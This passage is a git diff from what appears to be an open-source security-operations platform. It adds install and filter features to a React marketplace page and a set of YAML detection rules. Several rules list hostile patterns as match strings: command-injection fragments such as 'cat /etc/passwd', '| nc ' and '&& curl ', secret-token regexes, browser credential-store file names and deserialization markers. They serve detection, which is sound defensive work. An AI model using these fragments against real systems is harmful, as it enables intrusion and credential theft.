install state; the SWR data above is the source of truth+ // when the API is reachable, but optimistic toggles live here for snappier UX.+ const [localInstalled, setLocalInstalled] = useState<Set<string>>(new Set());+ const [busy, setBusy] = useState<Set<string>>(new Set());+ const [actionError, setActionError] = useState<string | null>(null);++ const installedSet = useMemo(() => {+ const set = new Set<string>(localInstalled);+ if (installedData?.items) {+ for (const r of installedData.items) {+ set.add(installedKey(r.type, r.id));+ }+ }+ return set;+ }, [installedData, localInstalled]);++ const setBusyKey = useCallback((key: string, on: boolean) => {+ setBusy((prev) => {+ const next = new Set(prev);+ if (on) next.add(key);+ else next.delete(key);+ return next;+ });+ }, []);++ const handleInstall = useCallback(+ async (item: MarketplaceItem) => {+ const key = installedKey(item.type, item.id);+ setActionError(null);+ setBusyKey(key, true);+ // Optimistic mark so the UI flips immediately even when API is offline.+ setLocalInstalled((prev) => {+ const next = new Set(prev);+ next.add(key);+ return next;+ });+ try {+ const res = await fetch('/api/v1/marketplace/install', {+ method: 'POST',+ headers: { 'Content-Type': 'application/json' },+ credentials: 'include',+ body: JSON.stringify({ type: item.type, id: item.id }),+ });+ if (!res.ok && res.status !== 401 && res.status !== 404) {+ throw new Error(`install: HTTP ${res.status}`);+ }+ await refreshInstalled();+ } catch (err) {+ // Roll the optimistic flag back; surface a one-line toast.+ setLocalInstalled((prev) => {+ const next = new Set(prev);+ next.delete(key);+ return next;+ });+ setActionError(+ err instanceof Error+ ? `Could not install ${item.id}: ${err.message}`+ : `Could not install ${item.id}.`,+ );+ } finally {+ setBusyKey(key, false);+ }+ },+ [refreshInstalled, setBusyKey],+ );++ const handleUninstall = useCallback(+ async (item: MarketplaceItem) => {+ const key = installedKey(item.type, item.id);+ setActionError(null);+ setBusyKey(key, true);+ setLocalInstalled((prev) => {+ const next = new Set(prev);+ next.delete(key);+ return next;+ });+ try {+ const url = `/api/v1/marketplace/install?type=${encodeURIComponent(+ item.type,+ )}&id=${encodeURIComponent(item.id)}`;+ const res = await fetch(url, { method: 'DELETE', credentials: 'include' });+ if (!res.ok && res.status !== 401 && res.status !== 404) {+ throw new Error(`uninstall: HTTP ${res.status}`);+ }+ await refreshInstalled();+ } catch (err) {+ setLocalInstalled((prev) => {+ const next = new Set(prev);+ next.add(key);+ return next;+ });+ setActionError(+ err instanceof Error+ ? `Could not uninstall ${item.id}: ${err.message}`+ : `Could not uninstall ${item.id}.`,+ );+ } finally {+ setBusyKey(key, false);+ }+ },+ [refreshInstalled, setBusyKey],+ );+const [search, setSearch] = useState('');const [typeFilter, setTypeFilter] = useState<'all' | 'playbook' | 'detection' | 'plugin'>('all');const [severityFilter, setSeverityFilter] = useState<string>('all');const [categoryFilter, setCategoryFilter] = useState<string>('all');- const [sortBy, setSortBy] = useState<SortOption>('install_count');- const [sortOrder, setSortOrder] = useState<'asc' | 'desc'>('desc');+ const [sourceFilter, setSourceFilter] = useState<SourceFilter>('all');+ const [sdkFilter, setSdkFilter] = useState<SdkFilter>('all');+ const [mitreFilter, setMitreFilter] = useState<string>('all');+ const [sortBy, setSortBy] = useState<SortOption>('name');+ const [sortOrder, setSortOrder] = useState<'asc' | 'desc'>('asc');++ // Build distinct, sorted MITRE technique list (with item counts) for the filter.+ const mitreOptions = useMemo(() => {+ if (!data?.items) return [] as { id: string; count: number }[];+ const byId = new Map<string, number>();+ for (const it of data.items) {+ for (const tid of it.mitre_techniques ?? []) {+ byId.set(tid, (byId.get(tid) ?? 0) + 1);+ }+ }+ return Array.from(byId.entries())+ .map(([id, count]) => ({ id, count }))+ .sort((a, b) => a.id.localeCompare(b.id));+ }, [data]);- const categories = useMemo(() => {- if (!data?.items) return [];- const cats = new Set(data.items.flatMap((i) => i.tags ?? []));- return Array.from(cats).sort();+ // Distinct content categories (detection.category + playbook.category) for filter.+ const categoryOptions = useMemo(() => {+ if (!data?.items) return [] as string[];+ const set = new Set<string>();+ for (const it of data.items) {+ if (it.category) set.add(it.category);+ }+ return Array.from(set).sort();}, [data]);const items = useMemo(() => {if (!data?.items) return [];- let filtered = data.items.filter((item) => {+ const filtered = data.items.filter((item) => {if (typeFilter !== 'all' && item.type !== typeFilter) return false;if (severityFilter !== 'all' && item.severity !== severityFilter) return false;- if (categoryFilter !== 'all' && !(item.tags ?? []).includes(categoryFilter)) return false;+ if (categoryFilter !== 'all' && item.category !== categoryFilter) return false;+ if (sourceFilter !== 'all' && (item.source ?? 'core') !== sourceFilter) return false;+ if (mitreFilter !== 'all' && !(item.mitre_techniques ?? []).includes(mitreFilter)) return false;+ if (sdkFilter !== 'all') {+ if (item.type !== 'plugin') return false;+ const sdks = item.sdks ?? [];+ if (sdkFilter === 'both' && !(sdks.includes('python') && sdks.includes('go'))) {+ return false;+ }+ if ((sdkFilter === 'python' || sdkFilter === 'go') && !sdks.includes(sdkFilter)) {+ return false;+ }+ }if (search) {const q = search.toLowerCase();return (item.name.toLowerCase().includes(q) ||item.description.toLowerCase().includes(q) ||- (item.tags ?? []).some((t) => t.toLowerCase().includes(q))+ (item.tags ?? []).some((t) => t.toLowerCase().includes(q)) ||+ (item.mitre_techniques ?? []).some((m) => m.toLowerCase().includes(q)) ||+ item.id.toLowerCase().includes(q));}return true;});- // Sortfiltered.sort((a, b) => {- let va: number | string, vb: number | string;+ let va: number | string = 0;+ let vb: number | string = 0;if (sortBy === 'name') {va = a.name.toLowerCase();vb = b.name.toLowerCase();@@ -288,26 +590,41 @@ export function MarketplaceView() {} else if (sortBy === 'rating') {va = a.rating ?? 0;vb = b.rating ?? 0;- } else {- va = 0;- vb = 0;}if (va < vb) return sortOrder === 'asc' ? -1 : 1;if (va > vb) return sortOrder === 'asc' ? 1 : -1;+ // Stable secondary sort by id+ const ida = a.id.toLowerCase();+ const idb = b.id.toLowerCase();+ if (ida < idb) return -1;+ if (ida > idb) return 1;return 0;});return filtered;- }, [data, search, typeFilter, severityFilter, categoryFilter, sortBy, sortOrder]);+ }, [+ data,+ search,+ typeFilter,+ severityFilter,+ categoryFilter,+ sourceFilter,+ sdkFilter,+ mitreFilter,+ sortBy,+ sortOrder,+ ]);const stats = useMemo(() => {if (!data?.items) return null;+ if (data.stats) return data.stats;return {total: data.items.length,playbooks: data.items.filter((i) => i.type === 'playbook').length,detections: data.items.filter((i) => i.type === 'detection').length,plugins: data.items.filter((i) => i.type === 'plugin').length,verified: data.items.filter((i) => i.verified).length,+ community: data.items.filter((i) => i.source === 'community').length,};}, [data]);@@ -316,29 +633,69 @@ export function MarketplaceView() {setSortOrder((o) => (o === 'asc' ? 'desc' : 'asc'));} else {setSortBy(field);- setSortOrder('desc');+ setSortOrder(field === 'name' ? 'asc' : 'desc');}};+ const clearFilters = () => {+ setSearch('');+ setTypeFilter('all');+ setSeverityFilter('all');+ setCategoryFilter('all');+ setSourceFilter('all');+ setSdkFilter('all');+ setMitreFilter('all');+ };+return (<div className="flex h-full flex-col gap-6 p-6">{/* Page Header */}- <div>- <h1 className="text-2xl font-bold text-zinc-100">Marketplace</h1>- <p className="mt-1 text-sm text-zinc-400">- Browse and install community-contributed playbooks, detection rules, and plugins for your SOC.- </p>+ <div className="flex flex-wrap items-start justify-between gap-3">+ <div className="min-w-[280px] flex-1">+ <h1 className="text-2xl font-bold text-zinc-100">Marketplace</h1>+ <p className="mt-1 text-sm text-zinc-400">+ Browse and install detection rules, response playbooks, and plugins shipped with AiSOC. Every entry is generated directly from the+ repo’s <code className="text-zinc-300">detections/</code>,{' '}+ <code className="text-zinc-300">playbooks/</code> and{' '}+ <code className="text-zinc-300">plugins/</code> trees, so what you see here is what your AiSOC instance has on disk.+ </p>+ </div>+ {installedSet.size > 0 && (+ <span+ className="self-start rounded-full bg-emerald-900/40 px-3 py-1 text-xs font-medium text-emerald-300"+ title="Items enabled for the current tenant"+ >+ ✓ {installedSet.size} installed+ </span>+ )}</div>+ {actionError && (+ <div+ role="alert"+ className="flex items-start justify-between gap-3 rounded-lg border border-rose-700/40 bg-rose-900/20 px-4 py-2 text-sm text-rose-200"+ >+ <span>{actionError}</span>+ <button+ onClick={() => setActionError(null)}+ className="text-rose-400 hover:text-rose-200"+ aria-label="Dismiss"+ >+ ×+ </button>+ </div>+ )}+{/* Stats */}{stats && (- <div className="grid grid-cols-2 gap-3 sm:grid-cols-5">+ <div className="grid grid-cols-2 gap-3 sm:grid-cols-6">{[{ label: 'Total', value: stats.total, color: 'text-zinc-100' },{ label: 'Playbooks', value: stats.playbooks, color: 'text-purple-300' },{ label: 'Detections', value: stats.detections, color: 'text-cyan-300' },{ label: 'Plugins', value: stats.plugins, color: 'text-emerald-300' },{ label: 'Verified', value: stats.verified, color: 'text-emerald-400' },+ { label: 'Community', value: stats.community, color: 'text-blue-300' },].map(({ label, value, color }) => (<divkey={label}@@ -351,14 +708,14 @@ export function MarketplaceView() {</div>)}- {/* Filters */}+ {/* Search + primary filter chips */}<div className="flex flex-wrap items-center gap-3"><inputtype="search"value={search}onChange={(e) => setSearch(e.target.value)}- placeholder="Search by name, description, or tag…"- className="flex-1 min-w-[200px] rounded-lg border border-zinc-700 bg-zinc-800 px-3 py-2 text-sm text-zinc-100 placeholder-zinc-500 focus:border-zinc-500 focus:outline-none"+ placeholder="Search by name, description, tag, MITRE ID, or item ID…"+ className="flex-1 min-w-[240px] rounded-lg border border-zinc-700 bg-zinc-800 px-3 py-2 text-sm text-zinc-100 placeholder-zinc-500 focus:border-zinc-500 focus:outline-none"/>{/* Type filter */}@@ -377,38 +734,96 @@ export function MarketplaceView() {))}</div>- {/* Severity filter */}+ {/* Source filter (core vs community) */}+ <div className="flex gap-1 rounded-lg border border-zinc-700 bg-zinc-800 p-1">+ {(['all', 'core', 'community'] as const).map((s) => (+ <button+ key={s}+ onClick={() => setSourceFilter(s)}+ className={clsx(+ 'rounded px-2.5 py-1.5 text-xs font-medium transition-colors capitalize',+ sourceFilter === s ? 'bg-zinc-600 text-zinc-100' : 'text-zinc-400 hover:text-zinc-200'+ )}+ >+ {s === 'all' ? 'All sources' : s}+ </button>+ ))}+ </div>+ </div>++ {/* Secondary filters: severity, category, MITRE, SDK */}+ <div className="flex flex-wrap items-center gap-3 -mt-3"><selectvalue={severityFilter}onChange={(e) => setSeverityFilter(e.target.value)}className="rounded-lg border border-zinc-700 bg-zinc-800 px-3 py-2 text-sm text-zinc-300 focus:border-zinc-500 focus:outline-none">- <option value="all">All Severities</option>+ <option value="all">All severities</option><option value="critical">Critical</option><option value="high">High</option><option value="medium">Medium</option><option value="low">Low</option></select>- {/* Category filter */}- {categories.length > 0 && (+ {categoryOptions.length > 0 && (<selectvalue={categoryFilter}onChange={(e) => setCategoryFilter(e.target.value)}className="rounded-lg border border-zinc-700 bg-zinc-800 px-3 py-2 text-sm text-zinc-300 focus:border-zinc-500 focus:outline-none">- <option value="all">All Categories</option>- {categories.map((c) => (+ <option value="all">All categories</option>+ {categoryOptions.map((c) => (<option key={c} value={c}>{c}</option>))}</select>)}++ {/* MITRE technique filter - the headline new filter the plan asks for */}+ {mitreOptions.length > 0 && (+ <select+ value={mitreFilter}+ onChange={(e) => setMitreFilter(e.target.value)}+ className="rounded-lg border border-rose-800/60 bg-rose-900/20 px-3 py-2 text-sm text-rose-200 focus:border-rose-600 focus:outline-none"+ title="Filter by MITRE ATT&CK technique"+ >+ <option value="all">+ MITRE ATT&CK ({mitreOptions.length} techniques)+ </option>+ {mitreOptions.map((m) => (+ <option key={m.id} value={m.id}>+ {m.id} ({m.count})+ </option>+ ))}+ </select>+ )}++ {/* SDK filter (only meaningful when type=plugin or all) */}+ <select+ value={sdkFilter}+ onChange={(e) => setSdkFilter(e.target.value as SdkFilter)}+ className="rounded-lg border border-zinc-700 bg-zinc-800 px-3 py-2 text-sm text-zinc-300 focus:border-zinc-500 focus:outline-none"+ title="Filter plugins by SDK availability"+ >+ <option value="all">Any SDK</option>+ <option value="both">Plugins: Python + Go</option>+ <option value="python">Plugins: Python only</option>+ <option value="go">Plugins: Go only</option>+ </select>++ <a+ href="https://github.com/beenuar/aisoc/blob/main/CONTRIBUTING.md#community-marketplace"+ target="_blank"+ rel="noopener noreferrer"+ className="ml-auto rounded-lg border border-blue-700/60 bg-blue-900/20 px-3 py-1.5 text-xs font-medium text-blue-300 hover:bg-blue-900/40"+ >+ + Contribute to the marketplace+ </a></div>{/* Sort bar */}<div className="flex items-center gap-2 -mt-3"><span className="text-xs text-zinc-500">Sort by:</span>- {(['install_count', 'rating', 'name'] as SortOption[]).map((field) => (+ {(['name', 'install_count', 'rating'] as SortOption[]).map((field) => (<buttonkey={field}onClick={() => toggleSort(field)}@@ -437,7 +852,7 @@ export function MarketplaceView() {<div className="rounded-lg border border-red-700/40 bg-red-900/20 p-4 text-sm text-red-300">Failed to load marketplace data. Make sure{' '}<code className="text-red-200">/marketplace/index.json</code> is served- as a static file.+ as a static file. Run <code className="text-red-200">pnpm marketplace:build</code> to regenerate it.</div>)}@@ -445,12 +860,7 @@ export function MarketplaceView() {<div className="flex flex-col items-center justify-center py-20 text-zinc-500"><p className="text-sm">No items match your filters.</p><button- onClick={() => {- setSearch('');- setTypeFilter('all');- setSeverityFilter('all');- setCategoryFilter('all');- }}+ onClick={clearFilters}className="mt-2 text-xs text-zinc-400 underline hover:text-zinc-200">Clear filters@@ -460,9 +870,19 @@ export function MarketplaceView() {{!isLoading && !error && items.length > 0 && (<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 pb-6">- {items.map((item) => (- <ItemCard key={item.id} item={item} sortBy={sortBy} />- ))}+ {items.map((item) => {+ const key = installedKey(item.type, item.id);+ return (+ <ItemCard+ key={key}+ item={item}+ installed={installedSet.has(key)}+ busy={busy.has(key)}+ onInstall={handleInstall}+ onUninstall={handleUninstall}+ />+ );+ })}</div>)}</div>diff --git a/detections/README.md b/detections/README.mdindex 94dac0ad3..bbc015c8b 100644--- a/detections/README.md+++ b/detections/README.md@@ -2,39 +2,58 @@This directory contains AiSOC detection rules in a Sigma-inspired YAML format.+The pack ships **200 curated, fixture-tested rules** across six categories.+Every rule has a positive fixture (a synthetic event that should fire it) and a+negative fixture (a near-miss event that should *not* fire it). CI replays+both on every PR using the canonical runtime matcher.++## Distribution++| Category | Rules | Focus |+| ------------- | ----- | --------------------------------------------------------------- |+| `cloud/` | 40 | AWS / GCP / Azure misconfig, IAM, key-rotation, S3, CloudTrail |+| `identity/` | 40 | Auth, MFA, SSO, IdP federation, session abuse, OAuth grants |+| `endpoint/` | 40 | Process exec, persistence, LOLBAS, credential theft, ransomware |+| `network/` | 30 | C2, scanning, beaconing, DNS abuse, Tor, lateral movement |+| `application/`| 30 | Web, API, DB, secrets, supply chain, dependency abuse |+| `data-exfil/` | 20 | DLP, large transfers, archive uploads, tunneling, off-corp dest |+| **Total** | 200 | |+## Structure```detections/-├── network/ # Network-based detections (C2, scanning, exfil)-├── endpoint/ # Endpoint / host-based detections-├── cloud/ # Cloud provider (AWS, GCP, Azure) detections-├── identity/ # Authentication and identity-based detections-└── application/ # Application-layer detections (web, API, DB)+├── cloud/ # 40 rules+├── identity/ # 40 rules+├── endpoint/ # 40 rules+├── network/ # 30 rules+├── application/ # 30 rules+├── data-exfil/ # 20 rules+├── fixtures/+│ ├── positive/ # one .json per rule — should match+│ └── negative/ # one .json per rule — should NOT match+└── sigma-imports/ # optional auto-imported SigmaHQ rules with attribution```## Rule Format```yaml-id: det-<unique-id> # Stable UUID-like identifier+id: det-<unique-id> # Stable identifier; prefix matches categoryname: Human-readable titledescription: >What this rule detects and why it matters.version: "1.0.0"severity: low | medium | high | criticaltags:- - mitre.attack.tXXXX # MITRE ATT&CK technique ID+ - mitre.attack.tXXXX # MITRE ATT&CK technique ID(s)- tlp.white # Traffic Light Protocol-category: network | endpoint | cloud | identity | application+category: network | endpoint | cloud | identity | application | data-exfillog_source:product: "syslog" | "cloudtrail" | "windows" | ...service: optional sub-servicedetection:- keywords: # Simple keyword match- - "keyword1"- condition: keywords # Boolean expression over field sets- filters: # Optional exclusions- - fieldname: value+ fields: [list, of, expected, fields]+ condition: PATTERN_MATCH_ANY({...}) # Human-readable serialization of match_whenfalse_positives:- Description of known benign triggersplaybook: tpl-<playbook-id> # Optional: auto-trigger this playbook@@ -44,23 +63,45 @@ created: "YYYY-MM-DD"modified: "YYYY-MM-DD"```-## Adding a New Rule--1. Choose the correct category folder.-2. Copy an existing rule as a template.-3. Set a unique `id` starting with `det-`.-4. Run `pnpm detections:validate` locally before pushing.--## Validation+## Source of Truth-The CI pipeline validates all rules on every push:+The Python specs in [`scripts/detection_specs.py`](../scripts/detection_specs.py)+and [`scripts/detection_specs_part2.py`](../scripts/detection_specs_part2.py)+are the **canonical source of truth**. The on-disk YAML files are serialized+artifacts produced by [`scripts/generate_detections.py`](../scripts/generate_detections.py).+Edit specs, regenerate, then commit both.```bash-pnpm detections:validate+# Regenerate all 200 rules + fixtures from specs+python3 scripts/generate_detections.py++# Validate (matches what CI runs)+python3 scripts/validate_detections.py --strict-fixtures```-This checks:+## Adding a New Rule++1. Add a new spec dict to the appropriate list in `scripts/detection_specs.py`+ or `scripts/detection_specs_part2.py`.+2. Required keys: `slug`, `name`, `severity`, `mitre`, `log_source`,+ `fields`, `match_when`, `fp`, `positive`, `negative`.+3. Run `python3 scripts/generate_detections.py` to materialize the YAML and+ fixtures.+4. Run `python3 scripts/validate_detections.py --strict-fixtures` to confirm+ the fixtures replay correctly.++## CI Validation++The [`Validate Detection Rules`](../.github/workflows/validate-detections.yml)+workflow runs on every push or PR touching `detections/**` or the spec/generator+scripts. It enforces:+- Valid YAML syntax- Required fields present (`id`, `name`, `severity`, `detection`)-- Severity is one of `low|medium|high|critical`+- Severity ∈ `{low, medium, high, critical}`+- Category ∈ `{network, endpoint, cloud, identity, application, data-exfil}`- No duplicate `id` values across all rules+- `id` prefix matches the category directory+- Both positive and negative fixtures exist+- **Fixture replay**: positive fixture matches, negative does not — using the+ same `matches()` runtime function as the enginediff --git a/detections/application/api-key-leak-in-request.yaml b/detections/application/api-key-leak-in-request.yamlnew file mode 100644index 000000000..92d14b1d5--- /dev/null+++ b/detections/application/api-key-leak-in-request.yaml@@ -0,0 +1,23 @@+id: det-application-010+name: Hard-Coded API Key Pattern Leaked in HTTP Request+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Hard-Coded API+ Key Pattern Leaked in HTTP Request'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1552.001+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_body PATTERN_MATCH_ANY ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "AIza[0-9A-Za-z\-_]{35}", "xox[baprs]-"]+false_positives:+- Allowlisted developer test traffic (src allowlist)+playbook: tpl-secret-leak+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/api-mass-enumeration-ids.yaml b/detections/application/api-mass-enumeration-ids.yamlnew file mode 100644index 000000000..a6f98cc6f--- /dev/null+++ b/detections/application/api-mass-enumeration-ids.yaml@@ -0,0 +1,24 @@+id: det-application-019+name: Sequential ID Enumeration Pattern Against API+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Sequential ID+ Enumeration Pattern Against API'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1592+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ distinct_object_ids_per_src > 1000+ AND time_window_minutes < 5+false_positives:+- Bulk-export job (src must be in allowlist)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/api-permission-bypass-idor.yaml b/detections/application/api-permission-bypass-idor.yamlnew file mode 100644index 000000000..977c88853--- /dev/null+++ b/detections/application/api-permission-bypass-idor.yaml@@ -0,0 +1,24 @@+id: det-application-020+name: API Returned Object Outside Caller's Tenant+description: AiSOC v1 curated detection. Triggers on the application signal described by 'API Returned+ Object Outside Caller's Tenant'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1212+- tlp.white+category: application+log_source:+ product: app+ service: audit+detection:+ condition: |+ event_type == "object.read"+ AND object_tenant_id_eq_caller_tenant_id == false+false_positives:+- Admin-impersonation operations (must originate from internal tooling)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/browser-credential-grabber.yaml b/detections/application/browser-credential-grabber.yamlnew file mode 100644index 000000000..852aebff8--- /dev/null+++ b/detections/application/browser-credential-grabber.yaml@@ -0,0 +1,24 @@+id: det-application-027+name: Process Reading Browser Login Database+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Process Reading+ Browser Login Database'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1555.003+- tlp.white+category: application+log_source:+ product: edr+ service: file-read+detection:+ condition: |+ event_type == "FileRead"+ AND file_path ENDSWITH_ANY ["Login Data", "logins.json", "key3.db", "key4.db"]+false_positives:+- Browser itself (allowlist by image-path of actual browser binary)+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/ci-secret-printed-to-log.yaml b/detections/application/ci-secret-printed-to-log.yamlnew file mode 100644index 000000000..5d2dadb98--- /dev/null+++ b/detections/application/ci-secret-printed-to-log.yaml@@ -0,0 +1,23 @@+id: det-application-015+name: Secret-Pattern Match in CI Job Log+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Secret-Pattern+ Match in CI Job Log'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1552.001+- tlp.white+category: application+log_source:+ product: ci+ service: logs+detection:+ condition: |+ log_line PATTERN_MATCH_ANY ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "-----BEGIN PRIVATE KEY-----"]+false_positives:+- Test fixtures with synthetic-looking secrets (must be tagged)+playbook: tpl-secret-leak+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/command-injection.yaml b/detections/application/command-injection.yamlnew file mode 100644index 000000000..904302057--- /dev/null+++ b/detections/application/command-injection.yaml@@ -0,0 +1,23 @@+id: det-application-007+name: OS Command Injection in HTTP Parameter+description: AiSOC v1 curated detection. Triggers on the application signal described by 'OS Command Injection+ in HTTP Parameter'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1059+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_uri PATTERN_MATCH_ANY [";\s?cat /etc/passwd", "\| nc ", "&& curl ", "`id`", "\$\(whoami\)"]+false_positives:+- Allowlisted security tooling pen-tests (src allowlist)+playbook: tpl-webattack+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/container-image-pulled-untrusted-registry.yaml b/detections/application/container-image-pulled-untrusted-registry.yamlnew file mode 100644index 000000000..4c576f776--- /dev/null+++ b/detections/application/container-image-pulled-untrusted-registry.yaml@@ -0,0 +1,25 @@+id: det-application-018+name: Kubernetes Pulled Image From Untrusted Registry+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Kubernetes Pulled+ Image From Untrusted Registry'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1525+- tlp.white+category: application+log_source:+ product: kubernetes+ service: audit+detection:+ condition: |+ verb == "create"+ AND object_resource == "pods"+ AND image_registry_in_allowlist == false+false_positives:+- Sandbox/research clusters (allowlist namespace)+playbook: tpl-supply-chain+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/csrf-on-sensitive-mutation.yaml b/detections/application/csrf-on-sensitive-mutation.yamlnew file mode 100644index 000000000..c53382578--- /dev/null+++ b/detections/application/csrf-on-sensitive-mutation.yaml@@ -0,0 +1,26 @@+id: det-application-021+name: POST Without Referer/Origin to Sensitive Endpoint+description: AiSOC v1 curated detection. Triggers on the application signal described by 'POST Without+ Referer/Origin to Sensitive Endpoint'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1190+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ method == "POST"+ AND request_uri_in_sensitive_paths == true+ AND referer_present == false+ AND origin_present == false+false_positives:+- Allowlisted server-to-server APIs that bypass browser flow+playbook: tpl-webattack+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/dependency-confusion-fetch.yaml b/detections/application/dependency-confusion-fetch.yamlnew file mode 100644index 000000000..b949df2de--- /dev/null+++ b/detections/application/dependency-confusion-fetch.yaml@@ -0,0 +1,24 @@+id: det-application-014+name: Build Pipeline Fetched Public Package With Internal Name+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Build Pipeline+ Fetched Public Package With Internal Name'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1195.002+- tlp.white+category: application+log_source:+ product: build+ service: package+detection:+ condition: |+ package_name_in_internal_namespace == true+ AND package_source IN ["public-npm", "public-pypi", "public-rubygems"]+false_positives:+- Approved scoped public packages (allowlist names)+playbook: tpl-supply-chain+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/deserialization-attack.yaml b/detections/application/deserialization-attack.yamlnew file mode 100644index 000000000..708ca4340--- /dev/null+++ b/detections/application/deserialization-attack.yaml@@ -0,0 +1,23 @@+id: det-application-022+name: Java/Python Deserialization Pattern+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Java/Python+ Deserialization Pattern'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1190+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_body PATTERN_MATCH_ANY ["rO0AB", "AAEAAAD", "_\$\$ND_FUNC\$\$_"]+false_positives:+- Legitimate serialization formats in trusted internal traffic (allowlist src)+playbook: tpl-webattack+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/github-protected-branch-bypass.yaml b/detections/application/github-protected-branch-bypass.yamlnew file mode 100644index 000000000..16384bea3--- /dev/null+++ b/detections/application/github-protected-branch-bypass.yaml@@ -0,0 +1,25 @@+id: det-application-016+name: Push to Protected Branch by Non-Admin+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Push to Protected+ Branch by Non-Admin'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1195.002+- tlp.white+category: application+log_source:+ product: github+ service: audit+detection:+ condition: |+ action == "git.push"+ AND ref_in_protected_branches == true+ AND actor_role NOT IN ["admin", "release"]+false_positives:+- Emergency hotfix workflow (must reference change ticket)+playbook: tpl-supply-chain+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/github-public-repo-flip.yaml b/detections/application/github-public-repo-flip.yamlnew file mode 100644index 000000000..237de9e38--- /dev/null+++ b/detections/application/github-public-repo-flip.yaml@@ -0,0 +1,24 @@+id: det-application-017+name: Internal Repository Made Public+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Internal Repository+ Made Public'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1530+- tlp.white+category: application+log_source:+ product: github+ service: audit+detection:+ condition: |+ action == "repo.visibility_change"+ AND visibility == "public"+false_positives:+- OSS publication (must reference release ticket)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/gitlab-runner-shared-tag.yaml b/detections/application/gitlab-runner-shared-tag.yamlnew file mode 100644index 000000000..b3405ccde--- /dev/null+++ b/detections/application/gitlab-runner-shared-tag.yaml@@ -0,0 +1,24 @@+id: det-application-023+name: GitLab Runner Registered as Shared Without Approval+description: AiSOC v1 curated detection. Triggers on the application signal described by 'GitLab Runner+ Registered as Shared Without Approval'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1525+- tlp.white+category: application+log_source:+ product: gitlab+ service: audit+detection:+ condition: |+ event_type == "runners.register"+ AND runner_scope == "shared"+false_positives:+- Approved org-shared runner (must be from infra team)+playbook: tpl-supply-chain+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/graphql-introspection.yaml b/detections/application/graphql-introspection.yamlnew file mode 100644index 000000000..0bc6de3cf--- /dev/null+++ b/detections/application/graphql-introspection.yaml@@ -0,0 +1,24 @@+id: det-application-009+name: GraphQL Introspection Query in Production+description: AiSOC v1 curated detection. Triggers on the application signal described by 'GraphQL Introspection+ Query in Production'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: low+tags:+- mitre.attack.t1592+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_uri ENDSWITH "/graphql"+ AND request_body CONTAINS_ANY ["__schema", "__typename"]+false_positives:+- Permitted public APIs (allowlist host)+playbook: tpl-recon+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/jwt-none-alg.yaml b/detections/application/jwt-none-alg.yamlnew file mode 100644index 000000000..0da82b56d--- /dev/null+++ b/detections/application/jwt-none-alg.yaml@@ -0,0 +1,23 @@+id: det-application-012+name: JWT With alg=none in Authorization Header+description: AiSOC v1 curated detection. Triggers on the application signal described by 'JWT With alg=none+ in Authorization Header'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1078+- tlp.white+category: application+log_source:+ product: waf+ 